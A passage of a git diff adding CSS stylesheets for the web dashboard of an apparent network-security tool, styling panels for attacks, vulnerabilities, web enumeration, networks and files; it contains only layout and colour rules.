max-width: 300px; + line-height: 1.4; + min-height: 1.4em; +} + +/* ── Info chips ────────────────────────────────────────── */ + +.bifrost-info-row { + display: flex; + gap: 6px; + flex-wrap: wrap; + justify-content: center; + padding: 8px 14px; + border-bottom: 1px solid var(--c-border); + flex-shrink: 0; +} + +.bifrost-info-chip { + display: inline-flex; + align-items: center; + gap: 4px; + padding: 2px 8px; + background: rgba(0,0,0,0.2); + border-radius: 6px; + font-size: 0.7rem; + font-family: 'Fira Code', monospace; +} + +.bifrost-info-chip.pwnd { + background: rgba(0,255,154,0.1); + border: 1px solid rgba(0,255,154,0.2); +} + +.bifrost-info-label { + color: var(--muted); + font-weight: 600; +} + +.bifrost-info-value { + color: var(--ink); + font-weight: 700; +} + +/* ── Activity feed ─────────────────────────────────────── */ + +.bifrost-activity { + flex: 1; + overflow-y: auto; + padding: 8px 12px; + display: flex; + flex-direction: column; + gap: 2px; +} + +.bifrost-activity-item { + display: flex; + align-items: baseline; + gap: 6px; + padding: 3px 0; + font-size: 0.73rem; + border-bottom: 1px solid rgba(255,255,255,0.03); +} + +.bifrost-act-time { + color: var(--muted); + font-family: 'Fira Code', monospace; + font-size: 0.65rem; + flex-shrink: 0; + min-width: 28px; +} + +.bifrost-act-icon { + flex-shrink: 0; + font-size: 0.75rem; +} + +.bifrost-act-title { + color: var(--ink); + font-weight: 600; +} + +.bifrost-act-detail { + color: var(--muted); + font-size: 0.68rem; + flex: 1; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.bifrost-empty { + color: var(--muted); + text-align: center; + padding: 30px 10px; + font-size: 0.8rem; +} + +/* ── Sidebar tabs ──────────────────────────────────────── */ + +.bifrost-side-tabs { + display: flex; + gap: 2px; + padding: 6px; + background: rgba(0, 0, 0, 0.15); + border-bottom: 1px solid var(--c-border); + flex-shrink: 0; +} + +.bifrost-side-tab { + flex: 1; + padding: 5px 8px; + border: none; + border-radius: 6px; + background: transparent; + color: var(--muted); + font-size: 0.7rem; + font-weight: 700; + cursor: pointer; + transition: 0.15s; +} + +.bifrost-side-tab.active { + background: var(--c-panel); + color: var(--acid); +} + +.bifrost-sidebar { + flex: 1; + overflow-y: auto; + padding: 8px; + display: flex; + flex-direction: column; + gap: 4px; +} + +/* ── Network rows ──────────────────────────────────────── */ + +.bifrost-net-row { + padding: 6px 10px; + border-radius: 6px; + border: 1px solid var(--c-border); + background: color-mix(in oklab, var(--c-panel) 60%, transparent); +} + +.bifrost-net-main { + display: flex; + align-items: center; + gap: 8px; +} + +.bifrost-net-signal { + font-size: 0.65rem; + color: var(--acid); + letter-spacing: -1px; + flex-shrink: 0; + min-width: 32px; +} + +.bifrost-net-essid { + font-size: 0.78rem; + font-weight: 700; + color: var(--ink); + flex: 1; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.bifrost-net-enc { + font-size: 0.58rem; + font-weight: 800; + text-transform: uppercase; + padding: 1px 5px; + border-radius: 3px; + letter-spacing: 0.5px; + flex-shrink: 0; + background: rgba(0,220,255,0.12); + color: #00dcff; +} + +.bifrost-net-meta { + font-size: 0.62rem; + color: var(--muted); + margin-top: 2px; + font-family: 'Fira Code', monospace; +} + +/* ── Plugin rows ───────────────────────────────────────── */ + +.bifrost-plugin-row { + display: flex; + justify-content: space-between; + align-items: center; + gap: 8px; + padding: 6px 10px; + border-radius: 6px; + border: 1px solid var(--c-border); + background: color-mix(in oklab, var(--c-panel) 60%, transparent); +} + +.bifrost-plugin-info { + flex: 1; + min-width: 0; +} + +.bifrost-plugin-name { + font-size: 0.78rem; + font-weight: 700; + color: var(--ink); + display: block; +} + +.bifrost-plugin-desc { + font-size: 0.65rem; + color: var(--muted); + display: block; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +/* ── Epoch table ───────────────────────────────────────── */ + +.bifrost-epoch-table { + display: flex; + flex-direction: column; + gap: 1px; + font-size: 0.72rem; + font-family: 'Fira Code', monospace; +} + +.bifrost-epoch-header, +.bifrost-epoch-row { + display: grid; + grid-template-columns: 40px 35px 35px 35px 1fr 50px; + gap: 4px; + padding: 4px 8px; + align-items: center; +} + +.bifrost-epoch-header { + font-weight: 800; + color: var(--muted); + text-transform: uppercase; + font-size: 0.6rem; + border-bottom: 1px solid var(--c-border); + position: sticky; + top: 0; + background: var(--c-panel); + z-index: 1; +} + +.bifrost-epoch-row { + border-bottom: 1px solid rgba(255,255,255,0.03); + color: var(--ink); +} + +.bifrost-epoch-row:hover { + background: rgba(255,255,255,0.03); +} + +/* ── Responsive ────────────────────────────────────────── */ + +@media (max-width: 900px) { + .bifrost-grid { + grid-template-columns: 1fr; + } + + .bifrost-stats { + flex-wrap: wrap; + } + + .bifrost-stat { + flex: 1 1 70px; + min-width: 60px; + padding: 8px 8px; + } + + .bifrost-stat-val { font-size: 1.1rem; } + + .bifrost-page { + padding: 10px; + gap: 8px; + } + + .bifrost-header { + flex-direction: column; + align-items: flex-start; + } + + .bifrost-face { font-size: 2rem; } + .bifrost-face-wrap { padding: 20px 12px 12px; } +} diff --git a/web/css/pages/bjorn.css b/web/css/pages/bjorn.css new file mode 100644 index 0000000..e6e1f81 --- /dev/null +++ b/web/css/pages/bjorn.css @@ -0,0 +1,33 @@ +/* ========================================================================== + BJORN + ========================================================================== */ +.bjorn-container .image-container { + display: flex; + justify-content: center; + align-items: center; + height: calc(100vh - 70px); +} + +.bjorn-container .image-container img { + max-height: 100%; + max-width: 100%; + height: -webkit-fill-available; + cursor: pointer; + transition: transform 0.2s ease-in-out; +} + +.bjorn-container .image-container img:active { + transform: scale(1.05); +} + +.bjorn-container .image-container.fullscreen img { + height: 100vh; + width: auto; +} + +@media (max-width:768px) { + .bjorn-container .image-container { + height: calc(100vh - 60px); + } +} + diff --git a/web/css/pages/compat.css b/web/css/pages/compat.css new file mode 100644 index 0000000..8f82654 --- /dev/null +++ b/web/css/pages/compat.css @@ -0,0 +1,1814 @@ +/* ========================================================================== + SPA runtime compatibility (module class names) + Keeps old visual language while matching current JS markup. + ========================================================================== */ + +/* ---- Vulnerabilities module aliases ---- */ +.vuln-container .stats-bar { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); + gap: var(--gap-4); + margin-bottom: var(--gap-3); +} + +.vuln-container .stats-bar .stat-item { + background: var(--grad-card); + border-radius: var(--radius); + padding: var(--gap-4); + text-align: center; + border: 1px solid var(--c-border); + box-shadow: var(--elev); + display: grid; + gap: 6px; + justify-items: center; +} + +.vuln-container .stats-bar .stat-value { + font-size: 28px; + font-weight: 800; + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; +} + +.vuln-container .vuln-controls { + background: var(--grad-card); + border-radius: var(--radius); + padding: var(--gap-4); + margin-bottom: var(--gap-3); + display: flex; + flex-wrap: wrap; + gap: var(--gap-3); + align-items: center; + border: 1px solid var(--c-border); + box-shadow: var(--elev); +} + +.vuln-container .vuln-buttons { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.vuln-container .global-search-container { + flex: 1; + min-width: 220px; + position: relative; +} + +.vuln-container .global-search-input { + width: 100%; + height: var(--control-h); + padding: 0 36px 0 var(--control-pad-x); + border: 1px solid var(--c-border-strong); + border-radius: var(--control-r); + background: var(--c-panel); + color: var(--ink); +} + +.vuln-container .global-search-input:focus { + outline: none; + border-color: var(--accent); + box-shadow: 0 0 0 2px color-mix(in oklab, var(--accent) 28%, transparent); +} + +.vuln-container .clear-global-button { + position: absolute; + right: 8px; + top: 50%; + transform: translateY(-50%); + border: none; + background: none; + color: var(--danger); + cursor: pointer; + display: none; +} + +.vuln-container .clear-global-button.show { + display: inline-block; +} + +.vuln-container .vuln-btn { + border: 1px solid var(--c-border); + background: var(--c-panel); + color: var(--ink); + border-radius: var(--control-r); + padding: 8px 12px; + cursor: pointer; +} + +.vuln-container .vuln-btn.active { + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + border-color: var(--accent); + color: var(--white); +} + +.vuln-container .vuln-severity-bar { + display: flex; + gap: var(--gap-2); + flex-wrap: wrap; + margin-bottom: var(--gap-3); +} + +.vuln-container .vuln-severity-btn { + border: 1px solid var(--c-border); + background: var(--c-panel); + color: var(--ink); + border-radius: 999px; + padding: 5px 12px; + font-weight: 700; + cursor: pointer; +} + +.vuln-container .vuln-severity-btn.active { + box-shadow: 0 0 0 1px var(--c-border-hi) inset; +} + +.vuln-container .vuln-severity-btn.severity-critical.active { + background: var(--danger); + border-color: var(--danger); + color: var(--white); +} + +.vuln-container .vuln-severity-btn.severity-high.active { + background: var(--warning); + border-color: var(--warning); + color: var(--ink-invert); +} + +.vuln-container .vuln-severity-btn.severity-medium.active { + background: var(--accent-2); + border-color: var(--accent-2); + color: var(--ink-invert); +} + +.vuln-container .vuln-severity-btn.severity-low.active { + background: var(--ok); + border-color: var(--ok); + color: var(--ink-invert); +} + +.vuln-container .services-grid { + display: grid; + gap: var(--gap-4); + max-height: calc(100vh - 250px); + overflow-y: auto; +} + +.vuln-container .vuln-card-header { + padding: var(--gap-4); + background: var(--grad-quickpanel); + display: flex; + justify-content: space-between; + align-items: center; + gap: 10px; + cursor: pointer; + user-select: none; + border-bottom: 1px solid var(--c-border); +} + +.vuln-container .vuln-card-title { + display: flex; + align-items: center; + gap: var(--gap-3); + flex-wrap: wrap; + flex: 1; +} + +.vuln-container .collapse-indicator { + color: var(--muted); + transition: transform .3s ease; + font-size: 18px; +} + +.vuln-container .vuln-card.expanded .collapse-indicator { + transform: rotate(180deg); +} + +.vuln-container .vuln-content { + max-height: 0; + overflow: hidden; + transition: max-height .3s ease-out; +} + +.vuln-container .vuln-card.expanded .vuln-content { + max-height: 2400px; +} + +.vuln-container .vuln-detail-section { + margin-bottom: var(--gap-4); + padding: 0 var(--gap-4); +} + +.vuln-container .detail-text { + color: var(--ink); + font-size: 14px; + line-height: 1.5; +} + +.vuln-container .vuln-tag { + padding: 2px 8px; + border-radius: 999px; + font-size: 10px; + font-weight: 800; + text-transform: uppercase; + letter-spacing: .3px; + border: 1px solid var(--c-border); + background: var(--c-chip-bg); +} + +.vuln-container .vuln-tag.remediated { + background: color-mix(in oklab, var(--ok) 18%, var(--c-chip-bg)); + border-color: color-mix(in oklab, var(--ok) 40%, var(--c-border)); +} + +.vuln-container .vuln-tag.kev { + background: color-mix(in oklab, var(--danger) 18%, var(--c-chip-bg)); + border-color: color-mix(in oklab, var(--danger) 40%, var(--c-border)); +} + +.vuln-container .vuln-tag.exploit { + background: color-mix(in oklab, #9c27b0 18%, var(--c-chip-bg)); + border-color: color-mix(in oklab, #9c27b0 40%, var(--c-border)); +} + +.vuln-container .vuln-tag.epss { + background: color-mix(in oklab, var(--warning) 18%, var(--c-chip-bg)); + border-color: color-mix(in oklab, var(--warning) 40%, var(--c-border)); +} + +.vuln-container .vuln-pagination { + display: flex; + justify-content: center; + align-items: center; + gap: 8px; + margin-top: var(--gap-4); + padding: var(--gap-3); + flex-wrap: wrap; +} + +.vuln-container .vuln-page-btn { + border: 1px solid var(--c-border); + background: var(--c-panel); + color: var(--ink); + border-radius: 10px; + padding: 6px 10px; + cursor: pointer; +} + +.vuln-container .vuln-page-btn.active { + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + border-color: var(--accent); + color: var(--white); +} + +.vuln-container .vuln-page-btn.disabled { + opacity: .5; + cursor: not-allowed; +} + +.vuln-container .vuln-page-info { + color: var(--muted); + font-size: 13px; +} + +.vuln-container .vuln-modal { + display: none; + position: fixed; + inset: 0; + background: var(--glass-8); + z-index: 1000; +} + +.vuln-container .vuln-modal.show { + display: flex; + align-items: center; + justify-content: center; +} + +.vuln-container .vuln-modal-content { + background: var(--grad-modal); + border-radius: var(--radius); + max-width: 800px; + width: 90%; + max-height: 80vh; + overflow-y: auto; + border: 1px solid var(--c-border-strong); + box-shadow: var(--shadow-hover); +} + +.vuln-container .vuln-modal-header { + padding: var(--gap-4); + border-bottom: 1px solid var(--c-border); + display: flex; + justify-content: space-between; + align-items: center; + position: sticky; + top: 0; + background: var(--grad-quickpanel); + z-index: 1; +} + +.vuln-container .vuln-modal-title { + font-size: 18px; + font-weight: 800; + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; +} + +.vuln-container .vuln-modal-close { + background: none; + border: none; + color: var(--muted); + font-size: 24px; + cursor: pointer; +} + +.vuln-container .vuln-modal-body { + padding: var(--gap-4); +} + +/* ---- Attacks module aliases ---- */ +.attacks-container { + display: flex; + gap: 20px; + min-height: calc(100vh - var(--h-topbar) - var(--h-bottombar) - 8px); + align-items: stretch; + --page-sidebar-w: 320px; +} + +.attacks-container .attacks-sidebar { + width: var(--page-sidebar-w); + flex: 0 0 var(--page-sidebar-w); + min-width: 0; + min-height: 100%; + display: flex; + flex-direction: column; + gap: 0; + padding: 0; + overflow: hidden; +} + +.attacks-container .attacks-main { + width: auto; + flex: 1; + min-width: 0; + display: grid; + grid-template-rows: minmax(320px, auto) 1fr; + gap: 10px; + min-height: 0; + border: 1px solid var(--_border); + border-radius: 14px; + background: var(--grad-card); + box-shadow: var(--_shadow); + padding: 10px; +} + +.attacks-container .attacks-main .page-content { + height: 100%; + overflow: auto; +} + +.attacks-container .attacks-search-input { + width: 100%; + padding: 10px 12px; + border-radius: 10px; + border: 1px solid var(--_border); + background: var(--_panel-lo); + color: var(--_ink); +} + +.attacks-container .attacks-categories { + display: flex; + flex-wrap: wrap; + gap: 8px; +} + +.attacks-container .attacks-cat-pill { + border: 1px solid var(--_border); + background: var(--_panel-lo); + color: var(--_ink); + border-radius: 999px; + padding: 6px 10px; + cursor: pointer; + font-weight: 700; + display: inline-flex; + align-items: center; + gap: 6px; +} + +.attacks-container .attacks-cat-pill.active { + background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 18%, transparent), color-mix(in oklab, var(--_acid2) 12%, transparent)); + border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); +} + +.attacks-container .attacks-cat-pill .pill-count { + opacity: .8; + font-size: 12px; +} + +.attacks-container .attacks-list { + overflow: auto; + min-height: 0; + display: grid; + gap: 8px; +} + +.attacks-container .action-card { + display: grid; + grid-template-columns: auto 1fr auto; + gap: 10px; + align-items: center; + border: 1px solid var(--_border); + background: var(--_panel-lo); + border-radius: 12px; + padding: 8px; + cursor: pointer; + transition: .2s; +} + +.attacks-container .action-card:hover { + transform: translateY(-1px); + box-shadow: var(--_shadow); + background: var(--_panel-hi); +} + +.attacks-container .action-card.selected { + background: color-mix(in oklab, var(--_acid2) 16%, var(--_panel-hi)); + border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); +} + +.attacks-container .action-card-img { + width: 56px; + height: 56px; + border-radius: 10px; + overflow: hidden; + border: 1px solid var(--_border); + background: #0b0e13; + display: grid; + place-items: center; +} + +.attacks-container .action-card-icon { + width: 100%; + height: 100%; + object-fit: cover; +} + +.attacks-container .action-card-name { + font-weight: 800; + color: var(--_ink); +} + +.attacks-container .action-card-desc { + font-size: 12px; + color: var(--_muted); +} + +.attacks-container .action-card-status { + font-size: 11px; + font-weight: 800; + border-radius: 999px; + padding: 3px 8px; + border: 1px solid var(--_border); +} + +.attacks-container .action-card-status.status-running { + background: color-mix(in oklab, var(--warning) 18%, var(--_panel)); + border-color: color-mix(in oklab, var(--warning) 40%, var(--_border)); +} + +.attacks-container .action-card-status.status-ok { + background: color-mix(in oklab, var(--ok) 18%, var(--_panel)); + border-color: color-mix(in oklab, var(--ok) 40%, var(--_border)); +} + +.attacks-container .action-card-status.status-err { + background: color-mix(in oklab, var(--danger) 18%, var(--_panel)); + border-color: color-mix(in oklab, var(--danger) 40%, var(--_border)); +} + +.attacks-container .attacks-detail { + overflow: auto; +} + +.attacks-container .detail-top { + display: grid; + gap: 8px; + margin-bottom: 10px; +} + +.attacks-container .detail-name { + font-size: 18px; + color: var(--_ink); +} + +.attacks-container .detail-meta { + color: var(--_muted); + font-size: 12px; + margin-left: 8px; +} + +.attacks-container .detail-desc { + color: var(--_muted); + font-size: 13px; +} + +.attacks-container .detail-section-label { + color: var(--_muted); + font-size: 12px; + text-transform: uppercase; + letter-spacing: .5px; + font-weight: 700; +} + +.attacks-container .detail-presets, +.attacks-container .detail-args, +.attacks-container .detail-free { + display: grid; + gap: 8px; + margin-bottom: 10px; +} + +.attacks-container .preset-chips { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.attacks-container .preset-chip { + border: 1px solid var(--_border); + background: var(--_panel-lo); + color: var(--_ink); + border-radius: 999px; + padding: 5px 10px; + cursor: pointer; +} + +.attacks-container .detail-fields { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(240px, 1fr)); + gap: 10px; +} + +.attacks-container .arg-field { + display: grid; + gap: 6px; +} + +.attacks-container .arg-label { + color: var(--_muted); + font-size: 12px; +} + +.attacks-container .arg-ctl { + width: 100%; + padding: 8px 10px; + border-radius: 10px; + border: 1px solid var(--_border); + background: var(--_panel-lo); + color: var(--_ink); +} + +.attacks-container .arg-range-wrap { + display: grid; + grid-template-columns: 1fr auto; + gap: 8px; + align-items: center; +} + +.attacks-container .arg-range-val { + color: var(--_muted); + font-size: 12px; + min-width: 34px; + text-align: right; +} + +.attacks-container .detail-free-input { + width: 100%; + padding: 8px 10px; + border-radius: 10px; + border: 1px solid var(--_border); + background: var(--_panel-lo); + color: var(--_ink); +} + +.attacks-container .detail-actions { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.attacks-container .attacks-console { + display: grid; + grid-template-rows: auto 1fr; + min-height: 0; +} + +.attacks-container .attacks-log { + overflow: auto; + min-height: 180px; + max-height: 48vh; + border: 1px solid var(--_border); + border-radius: 10px; + background: var(--grad-console); + padding: 10px; + font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; +} + +.attacks-container .log-line { + white-space: pre-wrap; + word-break: break-word; + font-size: 12px; + padding: 2px 0; +} + +.attacks-container .log-ok { + color: #9ff7c5; +} + +.attacks-container .log-warn { + color: #ffd27a; +} + +.attacks-container .log-err { + color: #ff99b3; +} + +.attacks-container .log-info { + color: #bfefff; +} + +.attacks-container .log-dim { + color: #7f97a8; +} + +@media (max-width: 1100px) { + .attacks-container.page-with-sidebar { + flex-direction: row; + } + + .attacks-container.page-with-sidebar .attacks-main { + min-width: 0; + } +} + +@media (max-width: 900px) { + .attacks-container.page-with-sidebar .attacks-main { + grid-template-rows: auto auto; + } +} + +/* ========================================================================== + SPA class compatibility aliases (visual parity with web_old) + ========================================================================== */ + +/* ---- Dashboard aliases ---- */ +.dashboard-container .grid-stack { + display: grid; + gap: var(--gap); +} + +.dashboard-container .state { + display: inline-flex; + align-items: center; +} + +.dashboard-container .key { + color: var(--_ink); + font-weight: 600; +} + +.dashboard-container .naked { + background: transparent; + box-shadow: none; + border: 0; +} + +/* ---- NetKB aliases ---- */ +.netkb-container .netkb-content { + min-height: 0; +} + +.netkb-container .netkb-empty { + border: 1px dashed var(--c-border-strong); + border-radius: 12px; + padding: 16px; + color: var(--muted); + text-align: center; + background: var(--panel); +} + +.netkb-container .badge-header { + display: block; + margin-bottom: 4px; +} + +.netkb-container .badge-status { + display: block; +} + +.netkb-container .badge-timestamp { + display: block; + margin-top: 4px; +} + +/* ---- Files module aliases ---- */ +.files-container .files-breadcrumb, +.files-container .files-toolbar { + border: 1px solid var(--_border); + border-radius: 12px; + background: color-mix(in oklab, var(--_panel) 90%, transparent); + box-shadow: var(--_shadow); + backdrop-filter: blur(12px); + -webkit-backdrop-filter: blur(12px); +} + +.files-container .files-breadcrumb { + display: flex; + flex-wrap: wrap; + align-items: center; + gap: 6px; + padding: 8px 10px; +} + +.files-container .files-bc-item { + display: inline-flex; + align-items: center; + gap: 6px; + padding: 4px 8px; + border-radius: 8px; + border: 1px solid var(--_border); + background: color-mix(in oklab, var(--_panel) 96%, transparent); + color: var(--_ink); + cursor: pointer; +} + +.files-container .files-bc-item:hover { + filter: brightness(1.06); +} + +.files-container .files-bc-sep { + color: var(--_muted); +} + +.files-container .files-toolbar { + display: flex; + gap: 8px; + flex-wrap: wrap; + align-items: center; + padding: 8px; +} + +.files-container .global-search-input { + flex: 1; + min-width: 220px; + padding: 10px 12px; + border-radius: 10px; + border: 1px solid var(--_border); + background: color-mix(in oklab, var(--_panel) 96%, transparent); + color: var(--_ink); +} + +.files-container .global-search-input:focus { + outline: none; + border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); + box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 18%, transparent); +} + +.files-container .vuln-btn { + border: 1px solid var(--_border); + background: color-mix(in oklab, var(--_panel) 92%, transparent); + color: var(--_ink); + border-radius: 10px; + padding: 8px 10px; + cursor: pointer; + font-weight: 700; +} + +.files-container .vuln-btn:hover { + filter: brightness(1.06); +} + +.files-container .btn-sm { + padding: 4px 6px; + font-size: 12px; +} + +.files-container .btn-danger { + border-color: color-mix(in oklab, var(--danger) 40%, var(--_border)); + color: color-mix(in oklab, var(--danger) 80%, var(--_ink)); +} + +.files-container .files-table-list { + border: 1px solid var(--_border); + border-radius: 12px; + overflow: auto; + background: color-mix(in oklab, var(--_panel) 90%, transparent); + box-shadow: var(--_shadow); +} + +.files-container .files-row { + display: grid; + grid-template-columns: 40px minmax(180px, 1fr) 120px 170px 140px; + align-items: center; + gap: 8px; + padding: 8px 10px; + border-bottom: 1px solid var(--_border); +} + +.files-container .files-header { + position: sticky; + top: 0; + z-index: 2; + font-weight: 800; + background: color-mix(in oklab, var(--_panel) 98%, transparent); +} + +.files-container .files-row.files-dir:hover, +.files-container .files-row.files-file:hover { + background: color-mix(in oklab, var(--_acid2) 10%, transparent); +} + +.files-container .files-cell { + min-width: 0; +} + +.files-container .files-name { + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.files-container .files-size, +.files-container .files-date { + color: var(--_muted); +} + +.files-container .files-actions { + display: inline-flex; + gap: 6px; + justify-content: flex-end; +} + +.files-container .sortable { + cursor: pointer; + user-select: none; +} + +.files-container .db-status { + color: var(--_muted); + font-size: 12px; + padding: 4px 2px; +} + +/* ========================================================================== + SPA runtime compatibility aliases (modules that use new class names) + ========================================================================== */ + +.muted { + color: var(--muted); +} + +/* ---- Actions Studio runtime aliases ---- */ +.studio-container:not(.studio-runtime-host) { + display: grid; + grid-template-columns: minmax(300px, 340px) 1fr; + gap: 10px; + min-height: calc(100vh - var(--h-topbar) - var(--h-bottombar) - 12px); +} + +.studio-container:not(.studio-runtime-host) .studio-sidebar { + border: 1px solid var(--st-border, var(--c-border)); + border-radius: 12px; + background: var(--st-panel, var(--c-panel-2)); + box-shadow: var(--shadow); + display: grid; + grid-template-rows: auto 1fr; + overflow: hidden; + min-height: 0; +} + +.studio-container:not(.studio-runtime-host) .sidebar-header { + padding: 10px; + border-bottom: 1px dashed var(--st-border, var(--c-border)); + display: grid; + gap: 8px; +} + +.studio-container:not(.studio-runtime-host) .sidebar-list { + padding: 10px; + overflow: auto; + display: grid; + gap: 8px; +} + +.studio-container:not(.studio-runtime-host) .sidebar-item { + border: 1px solid var(--st-border, var(--c-border)); + border-radius: 10px; + background: var(--st-card, var(--c-panel)); + padding: 8px; + cursor: pointer; + transition: .18s; +} + +.studio-container:not(.studio-runtime-host) .sidebar-item:hover { + transform: translateX(2px); + box-shadow: var(--shadow); +} + +.studio-container:not(.studio-runtime-host) .sidebar-item.active { + outline: 2px solid color-mix(in oklab, var(--accent-2, #18f0ff) 45%, transparent); +} + +.studio-container:not(.studio-runtime-host) .sidebar-item-name { + font-weight: 700; +} + +.studio-container:not(.studio-runtime-host) .sidebar-item-meta, +.studio-container:not(.studio-runtime-host) .sidebar-item-info, +.studio-container:not(.studio-runtime-host) .sidebar-empty { + color: var(--muted); + font-size: 12px; +} + +.studio-container:not(.studio-runtime-host) .sidebar-delete-btn { + justify-self: end; +} + +.studio-container:not(.studio-runtime-host) .studio-main { + border: 1px solid var(--st-border, var(--c-border)); + border-radius: 12px; + background: var(--st-panel, var(--c-panel-2)); + box-shadow: var(--shadow); + padding: 10px; + display: grid; + grid-template-rows: auto 1fr; + gap: 10px; + min-height: 0; +} + +.studio-container:not(.studio-runtime-host) .studio-toolbar { + display: flex; + gap: 8px; + align-items: center; + flex-wrap: wrap; +} + +.studio-container:not(.studio-runtime-host) .toolbar-spacer { + flex: 1; +} + +.studio-container:not(.studio-runtime-host) .studio-btn { + border: 1px solid var(--st-border, var(--c-border-strong)); + background: var(--st-card, var(--c-panel)); + color: var(--st-text, var(--ink)); + border-radius: 10px; + padding: 8px 10px; + cursor: pointer; + font-weight: 700; +} + +.studio-container:not(.studio-runtime-host) .studio-btn:hover { + transform: translateY(-1px); + box-shadow: var(--shadow); +} + +.studio-container:not(.studio-runtime-host) .studio-panels { + display: grid; + grid-template-columns: 1.2fr .8fr; + gap: 10px; + min-height: 0; +} + +.studio-container:not(.studio-runtime-host) .studio-editor, +.studio-container:not(.studio-runtime-host) .studio-preview { + border: 1px solid var(--st-border, var(--c-border)); + border-radius: 12px; + background: var(--st-card, var(--c-panel)); + padding: 10px; + overflow: auto; + min-height: 0; +} + +.studio-container:not(.studio-runtime-host) .editor-form { + display: grid; + gap: 10px; +} + +.studio-container:not(.studio-runtime-host) .editor-section { + border: 1px solid var(--st-border, var(--c-border)); + border-radius: 10px; + padding: 10px; + background: var(--st-card2, var(--c-panel-2)); +} + +.studio-container:not(.studio-runtime-host) .section-title { + font-size: 12px; + text-transform: uppercase; + letter-spacing: .3px; + color: var(--muted); + margin-bottom: 8px; + font-weight: 700; +} + +.studio-container:not(.studio-runtime-host) .form-row { + display: grid; + grid-template-columns: 1fr 1fr; + gap: 10px; +} + +.studio-container:not(.studio-runtime-host) .form-group { + display: grid; + gap: 6px; +} + +.studio-container:not(.studio-runtime-host) .field-label { + color: var(--muted); + font-size: 12px; +} + +.studio-container:not(.studio-runtime-host) .studio-input, +.studio-container:not(.studio-runtime-host) .studio-select, +.studio-container:not(.studio-runtime-host) .studio-textarea { + width: 100%; + border: 1px solid var(--st-border, var(--c-border-strong)); + border-radius: 10px; + background: var(--st-bg, var(--c-panel)); + color: var(--st-text, var(--ink)); + padding: 8px 10px; +} + +.studio-container:not(.studio-runtime-host) .studio-textarea { + min-height: 110px; + resize: vertical; +} + +.studio-container:not(.studio-runtime-host) .studio-input:focus, +.studio-container:not(.studio-runtime-host) .studio-select:focus, +.studio-container:not(.studio-runtime-host) .studio-textarea:focus { + outline: none; + box-shadow: 0 0 0 2px color-mix(in oklab, var(--accent-2, #18f0ff) 35%, transparent); +} + +.studio-container:not(.studio-runtime-host) .args-list, +.studio-container:not(.studio-runtime-host) .req-list { + display: grid; + gap: 8px; +} + +.studio-container:not(.studio-runtime-host) .arg-row, +.studio-container:not(.studio-runtime-host) .req-row { + border: 1px solid var(--st-border, var(--c-border)); + border-radius: 10px; + padding: 8px; + background: var(--st-card, var(--c-panel)); +} + +.studio-container:not(.studio-runtime-host) .arg-row-header, +.studio-container:not(.studio-runtime-host) .req-row-header { + display: flex; + justify-content: space-between; + gap: 8px; + align-items: center; + margin-bottom: 6px; +} + +.studio-container:not(.studio-runtime-host) .arg-row-title { + font-weight: 700; +} + +.studio-container:not(.studio-runtime-host) .arg-row-body, +.studio-container:not(.studio-runtime-host) .req-p1, +.studio-container:not(.studio-runtime-host) .req-p2 { + display: grid; + gap: 8px; +} + +.studio-container:not(.studio-runtime-host) .arg-name, +.studio-container:not(.studio-runtime-host) .arg-type, +.studio-container:not(.studio-runtime-host) .arg-default, +.studio-container:not(.studio-runtime-host) .arg-desc, +.studio-container:not(.studio-runtime-host) .arg-required, +.studio-container:not(.studio-runtime-host) .req-type { + width: 100%; +} + +.studio-container:not(.studio-runtime-host) .full-width { + grid-column: 1 / -1; +} + +.studio-container:not(.studio-runtime-host) .json-preview { + margin: 0; + border: 1px solid var(--st-border, var(--c-border)); + border-radius: 10px; + background: var(--grad-console); + color: var(--ink); + padding: 10px; + min-height: 240px; + white-space: pre-wrap; + word-break: break-word; +} + +.studio-container:not(.studio-runtime-host) .dirty-indicator { + color: var(--warning); + font-weight: 700; +} + +@media (max-width: 1100px) { + .studio-container { + grid-template-columns: 1fr; + } + + .studio-container .studio-panels { + grid-template-columns: 1fr; + } +} + +/* ---- Web Enum runtime aliases ---- */ +.webenum-container .webenum-controls { + display: grid; + gap: 10px; + border: 1px solid var(--c-border); + border-radius: 12px; + background: var(--grad-card); + padding: 10px; + box-shadow: var(--shadow); +} + +.webenum-container .stats-bar { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); + gap: 10px; +} + +.webenum-container .stats-bar .stat-item { + background: var(--grad-card); + border-radius: 12px; + padding: 10px 12px; + text-align: center; + border: 1px solid var(--c-border); + box-shadow: var(--elev); + display: grid; + gap: 6px; + justify-items: center; +} + +.webenum-container .stats-bar .stat-value { + font-size: 26px; + font-weight: 800; + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; +} + +.webenum-container .stats-bar .stat-label { + color: var(--muted); + font-size: 12px; +} + +.webenum-container .global-search-container { + flex: 1; + min-width: 220px; + position: relative; +} + +.webenum-container .global-search-input { + width: 100%; + height: var(--control-h); + padding: 0 36px 0 var(--control-pad-x); + border: 1px solid var(--c-border-strong); + border-radius: var(--control-r); + background: var(--c-panel); + color: var(--ink); +} + +.webenum-container .global-search-input:focus { + outline: none; + border-color: var(--accent); + box-shadow: 0 0 0 2px color-mix(in oklab, var(--accent) 28%, transparent); +} + +.webenum-container .clear-global-button { + position: absolute; + right: 8px; + top: 50%; + transform: translateY(-50%); + border: none; + background: none; + color: var(--danger); 